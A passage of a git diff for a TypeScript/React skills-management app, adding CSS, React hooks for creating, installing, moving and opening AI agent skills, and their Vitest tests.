+.ProseMirror .ok-skill-ref:hover,
+.cm-skill-ref:hover {
+ text-decoration: underline;
+ text-underline-offset: 3px;
+}
+.ProseMirror .ok-skill-ref-missing,
+.cm-skill-ref-missing {
+ color: var(--muted-foreground);
+ text-decoration: underline dotted;
+ text-underline-offset: 3px;
+}
+
+/* In-viewer find (§8.4): CSS Custom Highlight API paint — DOM untouched. */
+::highlight(ok-find) {
+ background-color: color-mix(in srgb, var(--color-azure-blue) 30%, transparent);
+}
+::highlight(ok-find-active) {
+ background-color: color-mix(in srgb, var(--color-azure-blue) 60%, transparent);
+}
+
+/* Skill-doc bundle-path affordance — code spans shaped like `references/…` /
+ `scripts/…` get a link cursor; the visible affordance is hover-only (link
+ tint + solid underline). Dotted-at-rest was tried and read as the
+ unresolved/spellcheck error style, and wrapped chips in tables stacked
+ rows of dots. Decoration-only; bytes and chip styling untouched. */
+.ProseMirror .ok-skill-path-link,
+.cm-skill-path-link {
+ cursor: pointer;
+}
+.ProseMirror .ok-skill-path-link:hover,
+.cm-skill-path-link:hover {
+ text-decoration: underline;
+ text-underline-offset: 3px;
+ color: var(--color-azure-blue);
+ @apply dark:text-sky-blue;
+}
+
/* Resolution states — the decoration plugin writes `data-resolution-state`
at PM render time. Selectors are specific enough to override the base
chip color when present. */
diff --git a/packages/app/src/hooks/use-create-blank-skill.ts b/packages/app/src/hooks/use-create-blank-skill.ts
new file mode 100644
index 000000000..540b7989d
--- /dev/null
+++ b/packages/app/src/hooks/use-create-blank-skill.ts
@@ -0,0 +1,65 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { useLingui } from '@lingui/react/macro';
+import { useState } from 'react';
+import { toast } from 'sonner';
+import { useOpenSkill } from '@/hooks/use-open-skill';
+import { useSkills } from '@/hooks/use-skills';
+import { skillNameSetsByScope } from '@/lib/skill-scope';
+import { saveSkill } from '@/lib/skills-api';
+
+/**
+ * Placeholder description seeded into a freshly-created skill. A skill must have
+ * a non-empty `description` to install (the on-disk validation rejects empty),
+ * so a blank create that left it empty errored on the very next Install action
+ *. The default is intentionally a fill-me-in prompt, not real prose.
+ */
+export const DEFAULT_NEW_SKILL_DESCRIPTION = 'Describe what this skill does and when to use it.';
+
+/**
+ * Shared "start a skill" action — writes a project-scope skill under the given
+ * name (defaulting to the first free `new-skill[-N]`) and opens it in the live
+ * editor (scope/name/description are then just frontmatter edits). `description`
+ * defaults to {@link DEFAULT_NEW_SKILL_DESCRIPTION} so the result is immediately
+ * installable. Callers that collect a name/description up front (the New-skill
+ * dialog) pass them through; the fast paths (Cmd+K, the hub "New" card) omit
+ * them and take the defaults.
+ */
+export function useCreateBlankSkill() {
+ const { t } = useLingui();
+ const skillsState = useSkills();
+ const openSkill = useOpenSkill();
+ const [creating, setCreating] = useState(false);
+
+ async function createBlank(
+ scope: SkillScope = 'project',
+ opts?: { name?: string; description?: string },
+ ) {
+ if (creating) return;
+ const taken = skillNameSetsByScope(skillsState.status === 'ready' ? skillsState.data : [])[
+ scope
+ ];
+ let name = opts?.name?.trim() || 'new-skill';
+ if (!opts?.name) {
+ for (let i = 2; taken.has(name); i++) name = `new-skill-${i}`;
+ }
+ const description = opts?.description?.trim() || DEFAULT_NEW_SKILL_DESCRIPTION;
+ setCreating(true);
+ const result = await saveSkill({
+ scope,
+ name,
+ frontmatter: { name, description },
+ body: '',
+ });
+ setCreating(false);
+ if (!result.ok) {
+ toast.error(t`Couldn't create skill: ${result.error}`);
+ return;
+ }
+ // Same success toast as the New-skill form (`NewSkillDialog`) so both create
+ // paths read identically.
+ toast.success(t`Skill "${name}" created`);
+ openSkill(scope, name, result.path !== undefined ? { path: result.path } : undefined);
+ }
+
+ return { createBlank, creating };
+}
diff --git a/packages/app/src/hooks/use-explore-preview-install.dom.test.tsx b/packages/app/src/hooks/use-explore-preview-install.dom.test.tsx
new file mode 100644
index 000000000..6eee233cc
--- /dev/null
+++ b/packages/app/src/hooks/use-explore-preview-install.dom.test.tsx
@@ -0,0 +1,140 @@
+import { act, cleanup, renderHook, waitFor } from '@testing-library/react';
+import { afterEach, describe, expect, test, vi } from 'vitest';
+
+const importSkill = vi.fn();
+const installSkill = vi.fn();
+const placeSkill = vi.fn();
+
+vi.doMock('@/lib/skills-api', () => ({
+ importSkill,
+ installSkill,
+ placeSkill,
+}));
+
+const { useExplorePreviewInstall } = await import('./use-explore-preview-install');
+
+describe('useExplorePreviewInstall', () => {
+ afterEach(() => {
+ cleanup();
+ vi.clearAllMocks();
+ });
+
+ test('serializes rapid target changes and finishes with the latest intended set', async () => {
+ let resolveFirstInstall:
+ | ((value: {
+ ok: true;
+ hosts: string[];
+ scripts: false;
+ warnings: [];
+ warningCodes: [];
+ }) => void)
+ | undefined;
+ importSkill.mockResolvedValue({ ok: true, name: 'example' });
+ installSkill
+ .mockReturnValueOnce(
+ new Promise((resolve) => {
+ resolveFirstInstall = resolve;
+ }),
+ )
+ .mockResolvedValueOnce({
+ ok: true,
+ hosts: ['claude', 'codex'],
+ scripts: false,
+ warnings: [],
+ warningCodes: [],
+ });
+
+ const { result } = renderHook(() =>
+ useExplorePreviewInstall({
+ source: 'owner/repo',
+ name: 'example',
+ initialScope: 'project',
+ }),
+ );
+
+ act(() => {
+ result.current.toggles.toggleEditor('claude', true);
+ result.current.toggles.toggleEditor('codex', true);
+ });
+
+ await waitFor(() => expect(installSkill).toHaveBeenCalledTimes(1));
+ expect(importSkill).toHaveBeenCalledTimes(1);
+ expect(installSkill.mock.calls[0]?.[0].targets).toEqual(['claude']);
+
+ await act(async () => {
+ resolveFirstInstall?.({
+ ok: true,
+ hosts: ['claude'],
+ scripts: false,
+ warnings: [],
+ warningCodes: [],
+ });
+ });
+
+ await waitFor(() => expect(installSkill).toHaveBeenCalledTimes(2));
+ expect(installSkill.mock.calls[1]?.[0].targets).toEqual(['claude', 'codex']);
+ await waitFor(() => expect([...result.current.toggles.hostSet]).toEqual(['claude', 'codex']));
+ });
+
+ test('imports once when multiple targets change before acquisition finishes', async () => {
+ let resolveImport: ((value: { ok: true; name: string }) => void) | undefined;
+ importSkill.mockReturnValue(
+ new Promise((resolve) => {
+ resolveImport = resolve;
+ }),
+ );
+ installSkill.mockResolvedValue({
+ ok: true,
+ hosts: ['claude', 'cursor'],
+ scripts: false,
+ warnings: [],
+ warningCodes: [],
+ });
+
+ const { result } = renderHook(() =>
+ useExplorePreviewInstall({
+ source: 'owner/repo',
+ name: 'example',
+ initialScope: 'global',
+ }),
+ );
+
+ act(() => {
+ result.current.toggles.toggleEditor('claude', true);
+ result.current.toggles.toggleEditor('cursor', true);
+ });
+ expect(importSkill).toHaveBeenCalledTimes(1);
+
+ await act(async () => {
+ resolveImport?.({ ok: true, name: 'example' });
+ });
+
+ await waitFor(() =>
+ expect(installSkill).toHaveBeenLastCalledWith(
+ expect.objectContaining({
+ scope: 'global',
+ targets: ['claude', 'cursor'],
+ }),
+ ),
+ );
+ });
+
+ test('does not report the agents hub as installed when placement fails', async () => {
+ importSkill.mockResolvedValue({ ok: true, name: 'example' });
+ placeSkill.mockResolvedValue({ ok: false, error: 'destination unavailable' });
+
+ const { result } = renderHook(() =>
+ useExplorePreviewInstall({
+ source: 'owner/repo',
+ name: 'example',
+ initialScope: 'project',
+ }),
+ );
+
+ act(() => result.current.toggles.toggleEditor('agents', true));
+
+ await waitFor(() => expect(placeSkill).toHaveBeenCalledTimes(1));
+ await waitFor(() => expect(result.current.toggles.installing).toBe(false));
+ expect(result.current.toggles.hostSet.has('agents')).toBe(false);
+ });
+});
diff --git a/packages/app/src/hooks/use-explore-preview-install.ts b/packages/app/src/hooks/use-explore-preview-install.ts
new file mode 100644
index 000000000..34b7c86e4
--- /dev/null
+++ b/packages/app/src/hooks/use-explore-preview-install.ts
@@ -0,0 +1,181 @@
+import { isSkillInstallTarget, type SkillScope } from '@inkeep/open-knowledge-core';
+import { useLingui } from '@lingui/react/macro';
+import { useRef, useState } from 'react';
+import { toast } from 'sonner';
+import { INSTALL_EDITORS, type SkillHostToggles } from '@/components/SkillInstallMenu';
+import { importSkill, installSkill, placeSkill } from '@/lib/skills-api';
+
+/**
+ * Install flow for an un-imported Explore / skills.sh preview. The per-agent menu
+ * (`SkillInstallMenuItems`) drives it — but the skill doesn't exist in OK yet, so
+ * the FIRST agent toggle imports it (at the chosen scope) and then installs. The
+ * imported on-disk name can collision-rename, so this can't reuse
+ * `useSkillHostToggles` (which keys off a live `SkillsListEntry`); it owns the
+ * import-once → install cycle and exposes the same `SkillHostToggles` shape so the
+ * shared menu renders unchanged. "Import" is implied — the user only ever sees
+ * "Install". Scope locks after the first import (moving scope mid-flight would be
+ * a re-import).
+ */
+export function useExplorePreviewInstall({
+ source,
+ name,
+ initialScope,
+}: {
+ source: string;
+ name: string;
+ initialScope: SkillScope;
+}): {
+ scope: SkillScope;
+ setScope: (s: SkillScope) => void;
+ scopeLocked: boolean;
+ /** The on-disk skill name once imported (else null) — the caller transitions the
+ * preview tab into this real skill when the install menu closes. */
+ importedName: string | null;
+ /** Import WITHOUT installing anywhere (the custom-path flow) — returns the
+ * on-disk name, or null on failure (toast already shown). */
+ importNow: () => Promise<string | null>;
+ toggles: SkillHostToggles;
+} {
+ const { t } = useLingui();
+ const [scope, setScope] = useState<SkillScope>(initialScope);
+ const [importedName, setImportedName] = useState<string | null>(null);
+ const [hosts, setHosts] = useState<readonly string[]>([]);
+ const [busy, setBusy] = useState(false);
+ const liveHostsRef = useRef<readonly string[]>([]);
+ const importedNameRef = useRef<string | null>(null);
+ const importedScopeRef = useRef<SkillScope | null>(null);
+ const importPromiseRef = useRef<Promise<string | null> | null>(null);
+ const desiredHostsRef = useRef<readonly string[]>([]);
+ const commitRunningRef = useRef(false);
+
+ async function ensureImported(): Promise<string | null> {
+ if (importedNameRef.current) return importedNameRef.current;
+ if (importPromiseRef.current) return importPromiseRef.current;
+ // `install: false` — every explore flow installs EXPLICITLY (toggles are
+ // set-exact; custom-path places): the default-editor auto-projection would
+ // silently install into editors the user never picked.
+ const importScope = scope;
+ const pending = importSkill({ source, skill: name, scope: importScope, install: false }).then(
+ (res) => {
+ if (!res.ok) {
+ toast.error(t`Install failed: ${res.error}`);
+ return null;
+ }
+ importedNameRef.current = res.name;
+ importedScopeRef.current = importScope;
+ setImportedName(res.name);
+ return res.name;
+ },
+ );
+ importPromiseRef.current = pending;
+ const result = await pending;
+ importPromiseRef.current = null;
+ return result;
+ }
+
+ async function commit(nextHosts: readonly string[]) {
+ liveHostsRef.current = nextHosts;
+ desiredHostsRef.current = nextHosts;
+ setHosts(nextHosts);
+ if (commitRunningRef.current) return;
+ commitRunningRef.current = true;
+ setBusy(true);
+ while (true) {
+ const requestedHosts = desiredHostsRef.current;
+ const skillName = await ensureImported();
+ const importScope = importedScopeRef.current;
+ if (!skillName || !importScope) break;
+ // A just-imported skill has no existing location to reclassify, so it
+ // takes the symlink default outright: one real folder, links elsewhere.
+ const result = await installSkill({
+ scope: importScope,
+ name: skillName,
+ targets: [...requestedHosts],
+ linkMode: true,
+ });
+ if (!result.ok) {
+ toast.error(t`Couldn't install: ${result.error}`);
+ break;
+ }
+ if (requestedHosts === desiredHostsRef.current) {
+ const nonEditorHosts = liveHostsRef.current.filter((host) => !isSkillInstallTarget(host));
+ const resolvedHosts = [...new Set([...nonEditorHosts, ...result.hosts])];
+ liveHostsRef.current = resolvedHosts;
+ setHosts(resolvedHosts);
+ break;
+ }
+ }
+ commitRunningRef.current = false;
+ setBusy(false);
+ }
+
+ const toggles: SkillHostToggles = {
+ hostSet: new Set(hosts),
+ installed: hosts.length > 0,
+ installing: busy,
+ toggleEditor(editor, on) {
+ // The `.agents` hub isn't an editor-projection target on the legacy
+ // (store-backed) install path — route it through import + place into
+ // `.agents/skills`. The preview redirects to the real skill tab on
+ // import, whose menu handles the hub natively from there.
+ if (editor === 'agents') {
+ if (!on) return;
+ void (async () => {
+ setBusy(true);
+ const skillName = await ensureImported();
+ const importScope = importedScopeRef.current;
+ if (skillName && importScope) {
+ const result = await placeSkill({
+ scope: importScope,
+ name: skillName,
+ dir: '.agents/skills',
+ mode: 'copy',
+ });
+ if (result.ok) {
+ const nextHosts = [...new Set([...liveHostsRef.current, 'agents'])];
+ liveHostsRef.current = nextHosts;
+ setHosts(nextHosts);
+ } else {
+ toast.error(t`Couldn't install: ${result.error}`);
+ }
+ }
+ setBusy(false);
+ })();
+ return;
+ }
+ const next = new Set(liveHostsRef.current);
+ if (on) next.add(editor);
+ else next.delete(editor);
+ void commit([...next]);
+ },
+ installAll() {
+ void commit([...INSTALL_EDITORS]);
+ },
+ linkMode: true,
+ // A preview has no installed location, so the location verbs are OMITTED
+ // rather than stubbed: the menu gates each control on its verb existing, so
+ // a control that cannot work here cannot render here either.
+ placeAt(root, mode) {
+ // Import-once, then place — same implied-import contract as the toggles.
+ void (async () => {
+ setBusy(true);
+ const skillName = await ensureImported();
+ const importScope = importedScopeRef.current;
+ if (skillName && importScope) {
+ const result = await placeSkill({ scope: importScope, name: skillName, dir: root, mode });
+ if (!result.ok) toast.error(t`Couldn't install: ${result.error}`);
+ }
+ setBusy(false);
+ })();
+ },
+ };
+
+ return {
+ scope,
+ setScope,
+ scopeLocked: importedName !== null || busy,
+ importedName,
+ importNow: ensureImported,
+ toggles,
+ };
+}
diff --git a/packages/app/src/hooks/use-find-in-viewer.dom.test.tsx b/packages/app/src/hooks/use-find-in-viewer.dom.test.tsx
new file mode 100644
index 000000000..0ad371955
--- /dev/null
+++ b/packages/app/src/hooks/use-find-in-viewer.dom.test.tsx
@@ -0,0 +1,55 @@
+import { createEvent, fireEvent, render, screen } from '@testing-library/react';
+import { useRef } from 'react';
+import { describe, expect, test } from 'vitest';
+import { useFindInViewer } from './use-find-in-viewer';
+
+function FindHarness() {
+ const rootRef = useRef<HTMLDivElement | null>(null);
+ const { findOpen } = useFindInViewer(rootRef);
+ return (
+ <>
+ <a href="#sidebar-target" data-testid="sidebar-target">
+ Sidebar target
+ </a>
+ <div ref={rootRef}>{findOpen ? 'find-open' : 'find-closed'}</div>
+ </>
+ );
+}
+
+describe('useFindInViewer', () => {
+ test('opens find when focus remains outside the active viewer', () => {
+ render(<FindHarness />);
+ const sidebarTarget = screen.getByTestId('sidebar-target');
+ sidebarTarget.focus();
+
+ const event = createEvent.keyDown(sidebarTarget, {
+ key: 'f',
+ metaKey: true,
+ bubbles: true,
+ cancelable: true,
+ });
+ fireEvent(sidebarTarget, event);
+
+ expect(event.defaultPrevented).toBe(true);
+ expect(screen.getByText('find-open')).toBeDefined();
+ });
+
+ test('does not take find from an external editable control', () => {
+ render(<FindHarness />);
+ const input = document.createElement('input');
+ document.body.append(input);
+ input.focus();
+
+ const event = createEvent.keyDown(input, {
+ key: 'f',
+ metaKey: true,
+ bubbles: true,
+ cancelable: true,
+ });
+ fireEvent(input, event);
+
+ expect(event.defaultPrevented).toBe(false);
+ expect(screen.getByText('find-closed')).toBeDefined();
+ input.remove();
+ });
+});
diff --git a/packages/app/src/hooks/use-find-in-viewer.ts b/packages/app/src/hooks/use-find-in-viewer.ts
new file mode 100644
index 000000000..9cccb6a68
--- /dev/null
+++ b/packages/app/src/hooks/use-find-in-viewer.ts
@@ -0,0 +1,32 @@
+/**
+ * Shared Cmd/Ctrl+F capture for read-only viewer surfaces. The active
+ * viewer is the only mounted surface with a live listener, so it owns the
+ * shortcut even when focus remains in the sidebar after navigation.
+ * Pair with `ProseFindBar`.
+ */
+import { type RefObject, useEffect, useState } from 'react';
+import { isEditableShortcutTarget } from '@/lib/keyboard-shortcuts';
+
+export function useFindInViewer(rootRef: RefObject<HTMLElement | null>): {
+ findOpen: boolean;
+ setFindOpen: (open: boolean) => void;
+} {
+ const [findOpen, setFindOpen] = useState(false);
+ // biome-ignore lint/correctness/useExhaustiveDependencies: rootRef is a stable ref
+ useEffect(() => {
+ const onKeyDown = (e: KeyboardEvent) => {
+ if (e.defaultPrevented || !(e.metaKey || e.ctrlKey) || e.key.toLowerCase() !== 'f') return;
+ const root = rootRef.current;
+ if (root === null) return;
+ const target = e.target;
+ if (target instanceof Node && !root.contains(target) && isEditableShortcutTarget(target)) {
+ return;
+ }
+ e.preventDefault();
+ setFindOpen(true);
+ };
+ window.addEventListener('keydown', onKeyDown, true);
+ return () => window.removeEventListener('keydown', onKeyDown, true);
+ }, []);
+ return { findOpen, setFindOpen };
+}
diff --git a/packages/app/src/hooks/use-move-skill-scope.ts b/packages/app/src/hooks/use-move-skill-scope.ts
new file mode 100644
index 000000000..406bd3cff
--- /dev/null
+++ b/packages/app/src/hooks/use-move-skill-scope.ts
@@ -0,0 +1,58 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { useLingui } from '@lingui/react/macro';
+import { toast } from 'sonner';
+import { useManagedArtifactRetarget } from '@/components/ManagedArtifactProperties';
+import { useSkills } from '@/hooks/use-skills';
+import { beginOptimisticSkillMove, endOptimisticSkillMove } from '@/lib/documents-events';
+import { skillEntryLiveDocName, skillLiveDocName } from '@/lib/managed-artifact-doc-name';
+import { useSkillScopeLabels } from '@/lib/skill-scope';
+import { moveSkillScope } from '@/lib/skills-api';
+
+/**
+ * The single scope-move (project ↔ global) commit, shared by the toolbar's level
+ * control (`useSkillScopeMove`) AND the sidebar three-dot menu. Owns: the
+ * optimistic source-row drop, the POST, the toast, and the open-tab retarget — so
+ * both surfaces relocate a skill identically. Returns whether the move succeeded.
+ */
+export function useMoveSkillScope(): (
+ skill: { scope: SkillScope; name: string },
+ toScope: SkillScope,
+) => Promise<boolean> {
+ const { t } = useLingui();
+ const scopeLabels = useSkillScopeLabels();
+ const retarget = useManagedArtifactRetarget();
+ const skillsState = useSkills();
+ return async (skill, toScope) => {
+ if (toScope === skill.scope) return false;
+ // Optimistically drop the source row the instant it's confirmed — the move
+ // deletes the source last, so without this the row lingers through the copy.
+ beginOptimisticSkillMove(skill.scope, skill.name);
+ const result = await moveSkillScope({ name: skill.name, fromScope: skill.scope, toScope });
+ endOptimisticSkillMove(skill.scope, skill.name);
+ if (!result.ok) {
+ toast.error(t`Couldn't move skill: ${result.error}`);
+ return false;
+ }
+ // The server move copies the whole bundle verbatim (binaries included), so
+ // there is no partial-copy warning to surface.
+ toast.success(t`Moved "${skill.name}" to ${scopeLabels[toScope]}`);
+ // Retarget by REAL doc names (store-shaped fallbacks minted phantom
+ // `.ok/skills` docs): the FROM doc is the entry's actual open doc; the TO
+ // doc uses the move response's real landing path for project (global docs
+ // stay on the managed `__skill__/global/` scheme). Falling back to
+ // `skillLiveDocName` only when neither is known.
+ const entry =
+ skillsState.status === 'ready'
+ ? skillsState.data.find((sk) => sk.scope === skill.scope && sk.name === skill.name)
+ : undefined;
+ const fromDoc = entry
+ ? skillEntryLiveDocName(entry)
+ : skillLiveDocName(skill.scope, skill.name);
+ const toDoc =
+ toScope === 'project' && result.path !== undefined
+ ? `${result.path.replace(/\/+$/, '')}/SKILL`
+ : skillLiveDocName(toScope, skill.name);
+ retarget(fromDoc, toDoc);
+ return true;
+ };
+}
diff --git a/packages/app/src/hooks/use-open-skill-for-edit.ts b/packages/app/src/hooks/use-open-skill-for-edit.ts
new file mode 100644
index 000000000..0991e51db
--- /dev/null
+++ b/packages/app/src/hooks/use-open-skill-for-edit.ts
@@ -0,0 +1,39 @@
+import { externalSkillFileLiveDocName } from '@inkeep/open-knowledge-core';
+import { useDocumentContext } from '@/editor/DocumentContext';
+import { hashFromDocName, replaceHashWithoutNavigation } from '@/lib/doc-hash';
+import { editExternalSkill } from '@/lib/skills-api';
+
+/**
+ * Open a DETECTED (unmanaged) skill for in-place editing — the sibling of
+ * `useOpenSkill` for skills that aren't managed by OK. It registers the skill's
+ * real on-disk dir with the server (`POST /api/skill/edit-external`), then opens
+ * an editable tab whose autosave-out writes back to the real harness file: the
+ * skill's `SKILL.md` (no `rel`) or a bundle file (`rel`, e.g. `references/x.md`).
+ * No copy, no symlink, no `.ok/` — that's the Manage upgrade, not this.
+ *
+ * Every "edit a detected skill" surface (sidebar SKILL.md + reference-file rows)
+ * routes here so the endpoint call + open + hash-sync live in ONE place. One
+ * registration covers every file under the skill dir. Returns whether the open
+ * succeeded so callers can surface a failure toast.
+ */
+export function useOpenSkillForEdit(): (
+ name: string,
+ home: string,
+ opts?: { replaceActive?: boolean; rel?: string },
+) => Promise<{ ok: true; docName: string } | { ok: false; error: string }> {
+ const { openTarget } = useDocumentContext();
+ return async (name, home, opts) => {
+ const res = await editExternalSkill({ name, home });
+ if (!res.ok) return res;
+ // The endpoint registers name -> home (covering every file under the dir) and
+ // returns the SKILL.md doc name; a bundle file is that skill's ext-less
+ // per-file doc name under the same registration.
+ const docName = opts?.rel ? externalSkillFileLiveDocName(name, opts.rel) : res.docName;
+ openTarget(
+ { kind: 'doc', target: docName, docName },
+ opts?.replaceActive ? { tabBehavior: 'replace-active' } : undefined,
+ );
+ replaceHashWithoutNavigation(hashFromDocName(docName));
+ return { ok: true, docName };
+ };
+}
diff --git a/packages/app/src/hooks/use-open-skill.ts b/packages/app/src/hooks/use-open-skill.ts
new file mode 100644
index 000000000..d806551c7
--- /dev/null
+++ b/packages/app/src/hooks/use-open-skill.ts
@@ -0,0 +1,77 @@
+import type { SkillScope } from '@inkeep/open-knowledge-core';
+import { t } from '@lingui/core/macro';
+import { toast } from 'sonner';
+import { useDocumentContext } from '@/editor/DocumentContext';
+import { useSkills } from '@/hooks/use-skills';
+import { hashFromDocName, replaceHashWithoutNavigation } from '@/lib/doc-hash';
+import { skillEntryLiveDocName, skillLiveDocName } from '@/lib/managed-artifact-doc-name';
+import { listSkills } from '@/lib/skills-api';
+
+/**
+ * Open a skill's live editor tab the ROBUST way — a direct `openTarget({kind:'doc'})`
+ * that bypasses the hash → `resolveNavigationTarget` path.
+ *
+ * The hash path resolves a PROJECT skill's content doc (`.ok/skills/<name>/SKILL`)
+ * through the page index, which lags a create/import/rename by the async `files`
+ * refetch — so a freshly-created project skill opened via the hash resolves to the
+ * READ-ONLY asset viewer and strands the user until the index catches up. Global
+ * skills (`__skill__/…`) resolve fine either way, which is why the strand is
+ * project-skill-specific. Every "open a skill" surface (create-blank, import,
+ * detected-adopt, sidebar click) must route here so none can regress to the strand.
+ * `skillLiveDocName` maps each scope to its real doc, so this is scope-agnostic.
+ */
+export function useOpenSkill(): (
+ scope: SkillScope,
+ name: string,
+ opts?: { replaceActive?: boolean; path?: string },
+) => void {
+ const { openTarget } = useDocumentContext();
+ const skillsState = useSkills();
+ return (scope, name, opts) => {
+ const open = (docName: string) => {
+ // `replace-active` swaps the currently-active tab in place (e.g. transition an
+ // explore PREVIEW tab into the real skill after install) — one tab, no separate
+ // close, so nothing can resurrect the old preview.
+ openTarget(
+ { kind: 'doc', target: docName, docName },
+ opts?.replaceActive ? { tabBehavior: 'replace-active' } : undefined,
+ );
+ replaceHashWithoutNavigation(hashFromDocName(docName));
+ };
+ // Entry-first: an existing skill's REAL doc (in-place skills live at
+ // editor-dir paths, not the store). A fresh create's entry hasn't landed
+ // in the list yet — its server-reported `path` bridges the gap.
+ const entry =
+ skillsState.status === 'ready'
+ ? skillsState.data.find((sk) => sk.scope === scope && sk.name === name)
+ : undefined;
+ if (entry) return open(skillEntryLiveDocName(entry));
+ if (scope === 'project' && opts?.path) return open(opts.path.replace(/\.mdx?$/i, ''));
+ // Global: the managed `__skill__/global/<name>` doc resolves store-or-native
+ // server-side, so it is always safe to open directly.
+ if (scope === 'global') return open(skillLiveDocName(scope, name));
+ // PROJECT with no entry and no path: NEVER mint the store-shaped fallback —
+ // opening `.ok/skills/<name>/SKILL` creates a PHANTOM doc that persistence
+ // materializes and the sweeper deletes in a loop. Resolve the real path
+ // from a fresh list fetch instead; a miss is an honest error.
+ void (async () => {
+ try {
+ const res = await listSkills('project');
+ if (!res.ok) {
+ toast.error(t`Couldn't open "${name}": ${res.error}`);
+ return;
+ }
+ const fresh = res.skills.find((sk) => sk.scope === scope && sk.name === name);
+ if (!fresh) {
+ toast.error(t`Couldn't open "${name}" — it isn't in the project's skills yet.`);
+ return;
+ }
+ open(skillEntryLiveDocName(fresh));
+ } catch (err) {
+ toast.error(
+ t`Couldn't open "${name}": ${err instanceof Error ? err.message : String(err)}`,
+ );
+ }
+ })();
+ };
+}
diff --git a/packages/app/src/hooks/use-popular-skills.ts b/packages/app/src/hooks/use-popular-skills.ts
new file mode 100644
index 000000000..d44143590
--- /dev/null
+++ b/packages/app/src/hooks/use-popular-skills.ts
@@ -0,0 +1,38 @@
+import type { SkillSearchResult } from '@inkeep/open-knowledge-core';
+import { useQuery } from '@tanstack/react-query';
+import { fetchPopularSkills } from '@/lib/skills-api';
+
+/**
+ * The skills.sh popular list, shared by every surface that shows it (the Skills
+ * home shelf and the Explore modal's blank state). One `useQuery` entry means the
+ * two surfaces hit `/api/skills/popular` once between them instead of firing a
+ * request each when the modal opens over the home page.
+ *
+ * `staleTime` matches the other catalog-ish reads in the app (agent catalog, harness
+ * detection): the server already caches its scrape, and a popularity ranking that
+ * moves over days does not need refetching on every mount.
+ *
+ * Failure is not surfaced as an error state — every consumer treats "no popular
+ * list" the same way it treats an empty one, by hiding the shelf. `failed` is
+ * exposed for the caller that wants to distinguish it from a genuinely empty
+ * upstream list.
+ */
+export function usePopularSkills(): {
+ readonly skills: readonly SkillSearchResult[];
+ readonly isPending: boolean;
+ readonly failed: boolean;
+} {
+ const { data, isPending, isError } = useQuery({
+ queryKey: ['skills', 'popular'],
+ queryFn: async () => {
+ const res = await fetchPopularSkills();
+ // `getJson` already folds network and non-2xx failures into `ok: false`, so
+ // rethrowing here is what turns them into react-query's error state.
+ if (!res.ok) throw new Error(res.error);
+ return res.results;
+ },
+ staleTime: 5 * 60 * 1000,
+ });
+
+ return { skills: data ?? [], isPending, failed: isError };
+}
diff --git a/packages/app/src/hooks/use-reconcile-skill-tabs.test.ts b/packages/app/src/hooks/use-reconcile-skill-tabs.test.ts
index 5481d19c7..75c61be6b 100644
--- a/packages/app/src/hooks/use-reconcile-skill-tabs.test.ts
+++ b/packages/app/src/hooks/use-reconcile-skill-tabs.test.ts
@@ -1,34 +1,77 @@
-import { skillLiveDocName } from '@inkeep/open-knowledge-core';
+import { skillFileLiveDocName, skillLiveDocName } from '@inkeep/open-knowledge-core';
import { describe, expect, test } from 'vitest';
-import { computeSkillTabReconcile, parseSkillTabDocName } from './use-reconcile-skill-tabs';
+import { skillFileTabId, skillPreviewTabId } from '@/editor/editor-tabs';
+import {
+ computeSkillTabReconcile,
+ parseSkillTabDocName,
+ tabIdsForSkill,
+} from './use-reconcile-skill-tabs';
/**
* Unit coverage for the open-skill-tab reconciler: an agent/MCP/server-side
- * scope move only broadcasts `files` (no client tab retarget), so an open skill
- * tab is left pointing at a doc that no longer exists. The reconciler retargets
- * it to the moved skill's new scope, or closes it when the skill is gone.
+ * scope move or a delete only broadcasts `files` (no client tab retarget), so an
+ * open SKILL or skill-FILE tab is left pointing at a doc that no longer exists.
+ * The reconciler retargets a moved SKILL tab, and closes any tab (including a
+ * reference-FILE tab) whose skill is gone — the lingering-tab-after-delete bug.
*
*/
describe('parseSkillTabDocName', () => {
- test('parses a project skill content doc', () => {
+ test('parses a project skill content doc (SKILL-level, rel null)', () => {
expect(parseSkillTabDocName('.ok/skills/demo/SKILL')).toEqual({
scope: 'project',
name: 'demo',
+ rel: null,
});
});
- test('parses a global skill managed-artifact doc', () => {
+ test('parses a global skill managed-artifact doc (SKILL-level, rel null)', () => {
expect(parseSkillTabDocName(skillLiveDocName('global', 'demo'))).toEqual({
scope: 'global',
name: 'demo',
+ rel: null,
});
});
- test('rejects a non-skill doc (plain page, template, ref)', () => {
+ test('parses a project skill reference FILE doc (carries rel)', () => {
+ expect(parseSkillTabDocName('.ok/skills/demo/references/notes')).toEqual({
+ scope: 'project',
+ name: 'demo',
+ rel: 'notes',
+ });
+ });
+
+ test('parses a global skill reference FILE doc (carries rel)', () => {
+ expect(
+ parseSkillTabDocName(skillFileLiveDocName('global', 'demo', 'references/notes')),
+ ).toEqual({ scope: 'global', name: 'demo', rel: 'notes' });
+ });
+
+ test('rejects a non-skill doc (plain page, template)', () => {
expect(parseSkillTabDocName('notes/standup')).toBeNull();
expect(parseSkillTabDocName('__template__/notes/daily')).toBeNull();
- // A bundle reference is NOT the skill tab itself (it has its own doc).
- expect(parseSkillTabDocName('.ok/skills/demo/references/notes')).toBeNull();
+ });
+});
+
+describe('tabIdsForSkill', () => {
+ test('selects the deleted copy and its bundle files without closing its plugin preview', () => {
+ const mainTab = skillLiveDocName('global', 'demo');
+ const fileTab = skillFileTabId({
+ scope: 'global',
+ name: 'demo',
+ path: 'references/notes.md',
+ });
+ const otherSkillTab = skillLiveDocName('global', 'other');
+ const pluginPreviewTab = skillPreviewTabId({
+ flavor: 'builtin',
+ source: '/Users/test/.claude/plugins/cache/acme/plugin/1.0.0/skills/demo',
+ name: 'demo',
+ subtitle: 'Plugin',
+ level: 'global',
+ });
+
+ expect(
+ tabIdsForSkill([mainTab, fileTab, otherSkillTab, pluginPreviewTab], 'global', 'demo'),
+ ).toEqual([mainTab, fileTab]);
});
});
@@ -36,17 +79,25 @@ describe('computeSkillTabReconcile', () => {
test('leaves a tab whose skill still exists at its scope untouched', () => {
const actions = computeSkillTabReconcile(
['.ok/skills/demo/SKILL', 'notes/standup'],
- [{ scope: 'project', name: 'demo' }],
+ [{ scope: 'project', name: 'demo', path: '.agents/skills/demo/SKILL.md' }],
+ );
+ expect(actions).toEqual([]);
+ });
+
+ test('leaves a reference FILE tab whose skill still exists untouched', () => {
+ const actions = computeSkillTabReconcile(
+ ['.ok/skills/demo/references/notes'],
